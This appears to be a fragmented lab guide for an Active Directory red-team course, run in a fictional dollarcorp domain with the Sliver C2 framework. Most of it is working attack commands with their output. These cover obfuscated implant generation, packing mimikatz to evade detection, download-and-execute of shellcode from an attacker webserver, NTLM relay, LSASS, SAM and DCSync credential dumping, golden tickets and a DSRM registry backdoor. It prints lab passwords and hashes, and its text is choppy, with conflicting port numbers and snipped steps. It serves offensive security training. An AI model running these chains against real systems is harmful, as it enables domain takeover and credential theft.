| | | | | |\/| | '_ \| |/ _` | '_ \| |
| | _| |_| | | | |_) | | (_| | | | | |_
\ | |_| |_| . /|_|\ ,_|_| |_|\ |
| |
by @Matt_Grandy_ |_| (@FortyNorthSec)
Use CIMplant to query the language mode of dcorp-adminsrv by using the command_exec module as
follows.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/CIMplant.exe' '-s dcorp-adminsrv -u studentx -p
TB9zn66fTyxCZxFG -d dollarcorp.moneycorp.local -c command_exec --execute
"$ExecutionContext.SessionState.LanguageMode"'
ConstrainedLanguage
Since it has Constrained Language mode enabled, this is usually accompanied by Applocker. Let us
enumerate the Applocker Rules on the host.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
'/mnt/c/AD/Tools/Sliver/CIMplant.exe' '-s dcorp-adminsrv -u studentx -p
TB9zn66fTyxCZxFG -d dollarcorp.moneycorp.local -c command_exec --execute
"Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -
Recurse"'
[*] Output:
Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2
Name Property
---- --------
Appx
Dll
Exe EnforcementMode : 1
Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe
Name Property
---- --------
5a9340f3-f6a7-4892-84ac-0fffd5 Value : <FilePublisherRule Id="5a9340f3-f6a7-4
892-84ac-0fffd51d9584" Name="Signed by 1d9584 O=MICROSOFT CORPORATION,L=REDMO
ND, S=WASHINGTON, C=US" Description="" UserOrGroupSid="S-1-1-0"
Action="Allow"><Conditions> <FilePublisherCondition PublisherName="O=MICROSOF
T CORPORATION, L=REDMOND,S=WASHINGTON, C=US" ProductName="*" BinaryName="*"><
BinaryVersionRange LowSection="*" HighSection="*"/></FilePublisher Condition>
</Conditions></File PublisherRule>
In this case, the following command executes winrs locally on our student VM for remote
command execution on the target – dcorp-adminsrv. We also use the -o flag to redirect and capture
output from the spawned process.
NOTE: By default, the execute command leverages the current token of the implant process.
[*] Output:
USERNAME=studentX
COMPUTERNAME=DCORP-ADMINSRV
execute:
-o, --output capture command output
-P, --ppid uint parent process id
-S, --ignore-stderr don't print STDERR output
-t, --timeout int command timeout in seconds
-T, --token execute command with current token
Create a tcp pivot listener in the current dcorp-stdX session (dcorp-std_https) as follows.
[server] sliver (dcorp-std_https) > pivots tcp --lport 8081
[*] Started tcp pivot listener :8080 with id 1
Generate the corresponding Sliver implant service executable for the tcp listener on dcorp-stdX.
Make sure that port 8080 is allowed or firewall is disabled on dcorp-stdX.
[server] sliver (dcorp-std_https) > generate --tcp-pivot 172.16.100.x:8081 -f
shellcode -e --name dcorp-adminsrv_tcp -s ./Implants/dcorp-adminsrv_tcp.bin
Setup a python3 / HFS webserver on port 80 from a new Ubuntu prompt to deliver all tools onto the
target environment from /mnt/c/AD/Tools/Sliver.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Back in the Sliver dcorp-stdX session, download the BinLoader onto dcorp-adminsrv remotely using
the execute command.
[server] sliver (dcorp-std_https) > execute -o -S -t 180 winrs -r:dcorp-
adminsrv 'curl --output C:\windows\temp\BinLoader.exe --url
http://172.16.100.61:8080/BinLoader.exe'
We can now use psexec (not opsec friendly) / scshell to gain a session implant bypassing Applocker
on the target. To do so find an abusable service using the sa-sc-enum BOF as follows.
[server] sliver (dcorp-std_https) > sa-sc-enum dcorp-adminsrv
[snip]
SERVICE_NAME: ssh-agent
DISPLAY_NAME: OpenSSH Authentication Agent
TYPE : 16 WIN32_OWN
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 0
FLAGS : 0
TYPE : 10 WIN32_OWN
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Windows\System32\OpenSSH\ssh-agen
t.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OpenSSH Authentication Agent
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
RESET_PERIOD (in seconds) : 0
REBOOT_MESSAGE :
COMMAND_LINE :
The service has not registered for any start or stop triggers.
The ssh-agent
Setup a python3 / HFS webserver on port 80 from a new Ubuntu prompt to deliver shellcode onto the
target environment from /mnt/c/AD/Tools/Sliver/Implants.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/Implants
To be able to execute commands on the Jenkins server without admin access we must have privileges to
configure builds.
Clicking on the people tab we find a bunch of usernames. These usernames could be used for a brute
force/password guessing attack to gain authenticated access.
Back in the dcorp-stdX Sliver session, reuse or create a new tcp pivot listener on dcorp-stdX listening on
port 8082.
Generate the corresponding Sliver implant executable for the tcp listener on dcorp-stdX. Make sure
that port 8080 is allowed or firewall is disabled on dcorp-stdX.
[server] sliver (dcorp-std_https) > generate --tcp-pivot 172.16.100.X:8080 -f
shellcode -e -N dcorp-ci_tcp -s Implants/dcorp-ci_tcp.bin
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 2m17s
[*] Implant saved to /mnt/c/AD/Tools/Sliver/Implants/dcorp-ci_tcp.bin
Setup a python3/HFS webserver on port 80 from a new Ubuntu prompt to deliver all tools onto the
target environment from /mnt/c/AD/Tools/Sliver.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Continuing with Jenkins abuse, Configure the project to add a build step --> Execute Windows batch
command to execute schedule tasks to download and execute NtDropper with the above generated
shellcode.
Begin by creating a schedule task (DownloadBinLoader) to download the NtDropper file from our
hosted webserver, enter this in the Execute Windows batch command window and select Save.
schtasks /create /tn "DownloadBinLoader" /tr "C:\Windows\System32\cmd.exe /c
start /b curl http://172.16.100.x:8080/BinLoader.exe -o
C:\Windows\Temp\BinLoader.exe" /sc ONSTART
Setup a python3/HFS webserver on port 80 from a new Ubuntu prompt to deliver shellcode onto the
target environment from /mnt/c/AD/Tools/Sliver/Implants.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/Implants
Reconfigure another build as above to first execute the DownloadBinLoader schedule task.
schtasks /run /tn "DownloadBinLoader"
Finally execute the RunBinLoader schedule task to run the BinLoader to download and execute our dcorp-ci_tcp pivot
shellcode.
schtasks /run /tn "RunBinLoader"
It turns out that the 'AI' folder is used for testing some automation that executes shortcuts (.lnk files) as the
user 'devopsadmin'. Recall that we enumerated a user 'devopsadmin' has 'WriteDACL' on DevOps Policy.
Let's try to abuse this using GPOddity.
First, we will use ntlmrelayx tool from Ubuntu WSL instance on the student VM to relay the credentials of
the devopsadmin user.
You can start a session on Ubuntu WSL by searching for wsl in the search bar or by using the Windows
Terminal.
Run the following command in Ubuntu to execute ntlmrelayx. Keep in mind the following.
1. Use WSLToTh3Rescue! as the sudo password.
2. Remember to replace the IP with your own student VM
3. Make sure that Firewall is either turned off on the student VM or you have added exceptions.
wsluser@dcorp-studentx:/mnt/c/Users/studentx$> sudo ntlmrelayx.py -t
ldaps://172.16.2.1 -wh 172.16.100.x --http-port '80,8080' -i --no-smb-server
[sudo] password for wsluser:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
The simulation on dcorp-ci, will execute the lnk file within a minute. This is what the listener looks like
on a successful connection:
Connect to the ldap shell started on port 11000. Run the following command on a new Ubuntu WSL
session:
wsluser@dcorp-studentx:/mnt/c/Users/studentx$> nc 127.0.0.1 11000
Type help for list of commands
Using this ldap shell, we will provide the studentx user, WriteDACL permissions over Devops Policy
{0BF8D01C-1F62-4BDC-958C-57140B67D147}:
# write_gpo_dacl studentx {0BF8D01C-1F62-4BDC-958C-57140B67D147}
Adding studentx to GPO with GUID {0BF8D01C-1F62-4BDC-958C-57140B67D147}
LDAP server claims to have taken the secdescriptor. Have fun
Alternatively, if we do not have access to any doman users, we can add a computer object and provide it
the 'write_gpo_dacl' permissions on DevOps policy {0BF8D01C-1F62-4BDC-958C-57140B67D147}
# add_computer stdx-gpattack Secretpass@123
Attempting to add a new computer with the name: stdx-gpattack$
Inferred Domain DN: DC=dollarcorp,DC=moneycorp,DC=local
Inferred Domain Name: dollarcorp.moneycorp.local
New Computer DN: CN=stdx-
gpattack,CN=Computers,DC=dollarcorp,DC=moneycorp,DC=local
Adding new computer with username: stdx-gpattack$ and password:
Secretpass@123 result: OK
Leave GPOddity running and from another Ubuntu WSL session, create and share the stdx-gp directory:
From a command prompt (Run as Administrator) on the student VM, run the following
commands to allow 'Everyone' full permission on the stdx-gp share:
Verify if the gPCfileSysPath has been modified for the DevOps Policy. Run the following
PowerView command:
[*] Output:
[?] Using DC : dcorp-dc.dollarcorp.moneycorp.local
[+] LDAP search result count : 1
|_ Result limit : 50
[?] Iterating result properties
|_ Applying property filter => displayname
COMPUTERNAME=DCORP-CI
USERNAME=studentx
Enumerate running process’s using the ps command. Use the -c option to print commandline arguments
and the -o option to filter for process’s running under the dcorp\ciadmin user.
[server] sliver (dcorp-ci_tcp) > ps -c -o 'dcorp\ciadmin'
[......snip. .... ]
2132 612 dcorp\ciadmin x86_64 jenkins.exe
0
Let us use LACheck again to return logged on users on a host using the /logons option using smb, winrm
and rpc. We exclude the DC for enumeration to avoid creating logs on the DC and enumerate only
servers using the /ldap:servers-exclude-dc option.
[*] Output:
[+] Parsed Aguments:
rpc: False
smb: False
winrm: True
/bloodhound: False
/dc:
/domain: dollarcorp.moneycorp.local
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/socket:
/targets:
/threads: 10
/user: ciadmin
/verbose: False
[+] Performing LDAP query against dollarcorp.moneycorp.local for all enabled
servers excluding Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 21
Status: (0.00%) 0 computers finished (+0) -- Using 24 MB RAM
[WinRM] Admin Success: DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL as ciadmin
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - DCORP-MGMT\Administrator
10/25/2024 4:36:41 AM (ciadmin)
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - dcorp\svcadmin 10/25/2024
4:26:56 AM (ciadmin)
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - dcorp\mgmtadmin 2/10/2025
9:34:21 PM (ciadmin)
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - dcorp\ciadmin 2/25/2025
12:45:47 AM (ciadmin)
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - DCORP-MGMT\SQLTELEMETRY
10/25/2024 4:26:56 AM (ciadmin)
Status: (80.95%) 17 computers finished (+17 0.5666667)/s -- Using 34 MB RAM
[+] Finished enumerating hosts
We find that dcorp\ciadmin has local admin access over dcorp-mgmt and there is a domain admin
session - dcorp\svcadmin on dcorp-mgmt along with other user sessions such as dcorp\mgmtadmin.
For our lab, we will focus on Credential Looting techniques by directly interacting with LSASS via
executing C# mimikatz alternatives like SharpKatz.
Let us now enumerate remote services to abuse using the sa-sc-enum command (BOF).
[server] sliver (dcorp-ci_tcp) > sa-sc-enum dcorp-mgmt
[.............snip. .............]
SERVICE_NAME: wmiApSrv
DISPLAY_NAME: WMI Performance Adapter
TYPE : 16 WIN32_OWN
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 0
FLAGS : 0
TYPE : 10 WIN32_OWN
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
NOTE: Stop the wmiApSrv service before trying execution using scshell.
Before we run PEzor we need to resolve dependencies with the following commands:
export PATH="$PATH:/mnt/c/ad/tools/sliver/PEZOR/deps/wclang/_prefix_PEzor_/bin/"
export PATH="$PATH:/mnt/c/ad/tools/sliver/PEZOR/deps/donut/"
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor$sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:export
PATH="$PATH:/mnt/c/ad/tools/sliver/PEZOR/deps/wclang/_prefix_PEzor_/bin/"
root@dcorp-studentX:export
PATH="$PATH:/mnt/c/ad/tools/sliver/PEZOR/deps/donut/"
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# ./PEzor.sh -unhook -
antidebug -fluctuate=NA -format=dotnet -sleep=5
/mnt/c/AD/Tools/Sliver/PEzor/mimikatz.exe -z 2 -b 1 -p '"privilege::debug"
"token::elevate" "sekurlsa::ekeys" "exit"'
\ / \ //\
\ |\
/| / \// \\
/0
0 \ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \\
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
PEzor:
-z 2: donut args --> Pack/Compress the input file. 1=None, 2=
aPLib
-sgn: Encode the generated shellcode with sgn
-unhook: User-land hooks removal
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-eke
ys.exe.packed.dotnet.exe
NOTE: We rename the generated file for ease of reusability in later objectives.
[snip]
mimikatz(commandline) # sekurlsa::ekeys
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
des_cbc_md4 6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca
2835067719dc7011
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
We can also look for credentials from the credentials vault. Interesting credentials like those used for
scheduled tasks are stored in the credential vault. Use the mimikatz command: "vault::cred /patch".
Use PEzor back in the root Ubuntu terminal to convert mimikatz with the following arguments again.
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# ./PEzor.sh -unhook -
antidebug -fluctuate=NA -format=dotnet -sleep=5
/mnt/c/AD/Tools/Sliver/PEzor/mimikatz.exe -z 2 -b 1 -p '"privilege::debug"
"token::elevate" "vault::cred /patch" "exit"'
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-vau
ltcred.exe.packed.dotnet.exe
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # exit
Bye!
We can now impersonate the domain admin credentials to move laterally using the Rubeus asktgt
module. We use the /ptt option to import the ticket into the current session. Switch back to the dcorp-
stdX session and perform the import.
NOTE: We can perform this in a sacrifical logon using the make-token process but for the case of
simplicity we perform most ticket imports in our original session LUID.
[*] Output:
_
( \ | |
) )_ _| | _ _
| /| | | | _ \| | | | |/ )
| | \ \| |_| | |_) ) | |_| | |
|_| |_| /| /| ) /( /
v2.2.1
doIGAjCCBf6gAwIBB[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : svcadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/15/2024 6:30:41 AM
EndTime : 1/15/2024 4:30:41 PM
RenewTill : 1/22/2024 6:30:41 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : fbhvuQhtRTYbD483RPrHQxsjm6hPnOhjtdU2YbhrfLk=
ASREP (key) : 6366243A657A4EA04E406F1ABC27F1ADA358CCD0138EC5C
A2835067719DC7011
[...........snip. ..........]
Analyze / purge imported tickets using the klist / purge options in Rubeus.
[*] Output:
From before it is noted that dcorp\studentX has admin privileges over dcorp-adminsrv, switch back to
the dcorp-stdX session and move laterally to dcorp-adminsrv as shown previously in Objective 5.
[*] Session 8f564dcc dcorp-adminsrv_tcp - 172.16.100.X:50152->dcorp-std_https
-> (dcorp-adminsrv) - windows/amd64 - Tue, 16 Jan 2024 06:26:26 PST
We can now use the previously PEzor generated mimikatz-ekeys.exe.packed.dotnet.exe binary to dump
AES logonpasswords on the target. But first, we’ll migrate to an ideal process:
[server] sliver (dcorp-mgmt_tcp) > ps -e taskhostw.exe
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # token::elevate
Token Id : 0
User name :
mimikatz(commandline) # sekurlsa::ekeys
Authentication Id : 0 ; 225972 (00000000:000372b4)
Session : RemoteInteractive from 2
* Username : srvadmin
* Domain : DOLLARCORP.MONEYCORP.LOCAL
* Password : (null)
* Key List :
aes256_hmac 145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1d
bb4
rc4_hmac_nt a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_old a98e18228819e8eec3dfa33cb68b0728
rc4_md4 a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_nt_exp a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_old_exp a98e18228819e8eec3dfa33cb68b0728
[snip]
doIF+AyNDAxMj[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : srvadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/16/2024 1:34:44 AM
EndTime : 1/16/2024 11:34:44 AM
RenewTill : 1/23/2024 1:34:44 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : DgapjlJWNDAC2EsEE3okPT4S0ITKnCTtu+kP/zApFws=
ASREP (key) : 145019659E1DA3FB150ED94D510EB770276CFBD0CBD834A
4AC331F2EFFE1DBB4
[*] Output:
Since we have local admin access to dcorp-mgmt as dcorp\srvadmin we can go moving laterally onto
dcorp-mgmt, extracting credentials for dcorp\svcadmin as shown in the last section and gaining domain
admin privileges.
• Use the Golden ticket to (once again) get domain admin privileges from a machine.
We can impersonate the domain admin credentials using the Rubeus asktgt module as in the previous
objective.
[server] sliver (dcorp-std_https) > execute-assembly -p explorer.exe -t 80
/mnt/c/AD/Tools/Sliver/Rubeus.exe 'asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /show /ptt'
[*] Output:
_
( \ | |
) )_ _| | _ _
| /| | | | _ \| | | | |/ )
| | \ \| |_| | |_) ) | |_| | |
|_| |_| /| /| ) /( /
v2.2.1
doIGAjCCBf6gAwIBB[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : svcadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/15/2024 6:30:41 AM
EndTime : 1/15/2024 4:30:41 PM
RenewTill : 1/22/2024 6:30:41 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : fbhvuQhtRTYbD483RPrHQxsjm6hPnOhjtdU2YbhrfLk=
ASREP (key) : 6366243A657A4EA04E406F1ABC27F1ADA358CCD0138EC5C
A2835067719DC7011
[...........snip. .......... ]
We can now use scshell to move laterally. Before doing so we enumerate services remotely to target.
Enumerate remote services using the sa-sc-enum command (BOF).
[server] sliver (dcorp-ci_tcp) > sa-sc-enum dcorp-dc
[.............snip. .............]
SERVICE_NAME: wmiApSrv
Begin by setting up / reusing the pivot listener on dcorp-stdX - port 8080 and generate an appropriate
tcp pivot implant.
[server] sliver (dcorp-std_https) > pivots tcp --lport 8083
[*] Started tcp pivot listener :8083 with id 1
NOTE: Attempt execution multiple times if it fails on the first attempt.(sometimes it can take a few miunutes
for the session to arrive)
[server] sliver (dcorp-std_https) > scshell -t 180 dcorp-dc wmiApSrv
'C:\Windows\System32\cmd.exe /c start /b C:\Windows\temp\BinLoader.exe
172.16.100.X 8080 dcorp-dc_tcp.bin'
[*] Output:
[snip]
mimikatz(commandline) # sekurlsa::ekeys
* Username : Administrator
* Domain : DOLLARCORP.MONEYCORP.LOCAL
* Password : (null)
* Key List :
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
des_cbc_md4 6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca
2835067719dc7011
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
*
Username : DCORP-DC$
*
Domain : dollarcorp.moneycorp.local
*
Password : cd 86 [snip]
*
Key List :
des_cbc_md4 064e5b7d9d78d3645e786a30df02b5893bf7cb44ba117495
38896c0e66f953d3
des_cbc_md4 c7e5d82f4b335144af5fcd6775069b18
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
Back on dcorp-stdX, spawn a new Ubuntu WSL prompt and use PEZor as before to convert mimikatz into
a .NET binary with DCSync arguments and rename the binary accordingly as follows.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-dcs
ync.exe.packed.dotnet.exe
DCSync from the dcorp-stdX session (remotely) or use the current dcorp-dc session using mimikatz-
dcsync.exe.packed.dotnet.exe.
[server] sliver (dcorp-dc_tcp) > execute-assembly -p explorer.exe -t 180
'/mnt/c/AD/Tools/Sliver/Implants/mimikatz-dcsync.exe.packed.dotnet.exe'
[*] Output:
mimikatz(commandline) # privilege::debug
Privilege '20' OK
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 154cb6624b1d859f7080a6615adc488f09f92843879b
3d914cbcb5a8c3cda848
aes128_hmac (4096) : e74fa5a9aa05b2c0b2d196e226d8820e
des_cbc_md5 (4096) : 150ea2e934ab6b80
Primary:Kerberos *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Credentials
des_cbc_md5 : 150ea2e934ab6b80
Packages *
NTLM-Strong-NTOWF
mimikatz(commandline) # exit
Bye!
[..........snip. .......]
Craft a Golden Ticket from the dcorp-stdX session using Rubeus and the krbtgt AES hash abusing SID
History injection. We can
We can save the ticket as golden.tkt using the Rubeus /outfile parameter for persistent usage, or
optionally use the /ptt argument here instead to gain the ticket privileges in the current session.
NOTE: Since fork and run execution are limited to 256 characters, we can use execute-assembly
With the –in-process or -i flag instead to overcome the argument limitation.
[*] base64(ticket.kirbi):
doIGVDCCBlCgAwIB[snip]
UserName : studentX
Domain : dcorp
LogonId : 0xd01c0
UserSID : S-1-5-21-719815819-3726368948-3917688648-5101
AuthenticationPackage : Negotiate
LogonType : RemoteInteractive
LogonTime : 1/17/2024 12:45:33 AM
LogonServer : DCORP-DC
LogonServerDNSDomain : DOLLARCORP.MONEYCORP.LOCAL
UserPrincipalName : [email protected]
drwxrwxrwx $Recycle.Bin
• HOST service
• WMI
[snip]
We can prove we have rights to access the HOST service by accessing scheduled tasks using the inbuilt
sa-schtasksenum command which enumerates scheduled tasks on the target host.
[server] sliver (dcorp-std_https) > sa-schtasksenum -t 40 dcorp-dc.dollarcorp
.moneycorp.local
[.............snip. ............]
To proceed to get a shell via schtasks we can use an external tool such as SharpTask.
[snip]
To test WMI rights, we can use CIMPlant / sharp-wmi. We test execution rights my querying the
win32_process class. We can also proceed with command and shell execution using sharp-wmi.
Scope: \\dcorp-dc\root\cimv2
[............snip. ..........]
[*] base64(ticket.kirbi):
doIGZjCCBmKgAwIBBaED[snip]
[*] Output:
[*] Action: Purge Tickets
Luid: 0x0
[+] Tickets successfully purged!
We will extract the credentials from the SAM file of dcorp-dc. The Directory Services Restore Mode
(DSRM) password is mapped to the local Administrator on the DC.
Let’s use PEzor in a new Ubuntu terminal to convert mimikatz.exe into donut shellcode with appropriate
arguments to dump the DSRM password from SAM (lsadump::sam) repackaged into a x86-x64 .NET
executable compatible with Slivers execute-assembly. Be sure to rename the packaged binary
accordingly.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-sam
.exe.packed.dotnet.exe
[......snip. ..... ]
[*] Output:
[snip]
mimikatz(commandline) # lsadump::sam
Domain : DCORP-DC
SysKey : bab78acd91795c983aef0534e0db38c7
Local SID : S-1-5-21-627273635-3076012327-2140009870
SAMKey : f3a9473cb084668dcf1d7e5f47562659
mimikatz(commandline) # exit
Bye!
The DSRM administrator is not allowed to logon to the DC from the network. So, we need to change the
logon behavior for the account by modifying registry on dcorp-dc. We can do this as follows using the
registry command in Sliver.
[server] sliver (dcorp-dc_tcp) > registry write --hive HKLM --type dword "Sys
tem\\CurrentControlSet\\Control\\Lsa\\DsrmAdminLogonBehavior" 2
We use mimikatz to pass the hash and spawn a new process as the DSRM administrator after which we
can inject our Sliver shellcode payload into this process to gain Admin access as the DSRM administrator
onto dcorp-dc.
Begin by using PEZor in a new Ubuntu terminal to create a compatible .NET to binary to perform the
pass the hash attack as follows. Make sure to rename the file accordingly.
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# ./PEzor.sh -unhook -
antidebug -fluctuate=NA -format=dotnet -sleep=5
/mnt/c/AD/Tools/Sliver/PEzor/mimikatz.exe -z 2 -b 1 -p '"sekurlsa::pth
/domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd
/run:C:\Windows\System32\cmd.exe" "exit"'
[?] Unhook enabled
[?] Anti-debug enabled
[?] Fluctuate: NA
[?] Output format: dotnet
[?] Waiting 5 seconds before executing the payload
[?] Processing /mnt/c/AD/Tools/Sliver/PEzor/mimikatz.exe
[?] PE detected: /mnt/c/AD/Tools/Sliver/PEzor/mimikatz.exe: PE32+ executable
(console) x86-64, for MS Windows
[?] Building .NET executable
[?] Executing donut
root@dcorp-studentX:/mnt/c/AD/Tools/Sliver/PEzor# mv /mnt/c/AD/Tools/Sliver/P
Ezor/mimikatz.exe.packed.dotnet.exe /mnt/c/AD/Tools/Sliver/PEzor/mimikatz-dsr
m.exe.packed.dotnet.exe
Next, in an elevated dcorp-stdX session as shown in LO-5 perform the pass the hash process using
mimikatz-dsrm.exe.packed.dotnet.exe and make note of the process ID spawned.
If an elevated dcorp-stdX session isn’t available, it is possible to restart the AbyssWebServer service to
gain one.
[server] sliver (dcorp-std_https) > remote-sc-stop -t 45 "" AbyssWebServer
[*] Successfully executed remote-sc-stop (coff-loader)
[*] Got output:
stop_service:
hostname:
servicename: AbyssWebServer
Service is already stopped.
SUCCESS.
[*] Output:
mimikatz(commandline) # exit
Bye!
Switch to the new beacon session and validate DSRM administrator rights by listing admin shares on
dcorp-dc.
[server] sliver (dcorp-std_https) > use f8865911
[*] Active sessions dcorp-std_https (f8865911-780e-4f78-9fcf-a521f0b16aa2)
• If yes, execute the DCSync attack to pull hashes of the krbtgt user.
• If no, add the replication rights for the studentX and execute the DCSync attack to pull hashes of
the krbtgt user.
[*] Output:
doIGTTCCBkmgA[snip]
[*] base64(ticket.kirbi):
doIGZjCCBmKgAwIB[snip]
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
[snip]
• Retrieve machine account hash from dcorp-dc without using administrator access and use that to
execute a Silver Ticket attack to get code execution with WMI.
• PS2EXE.ps1:
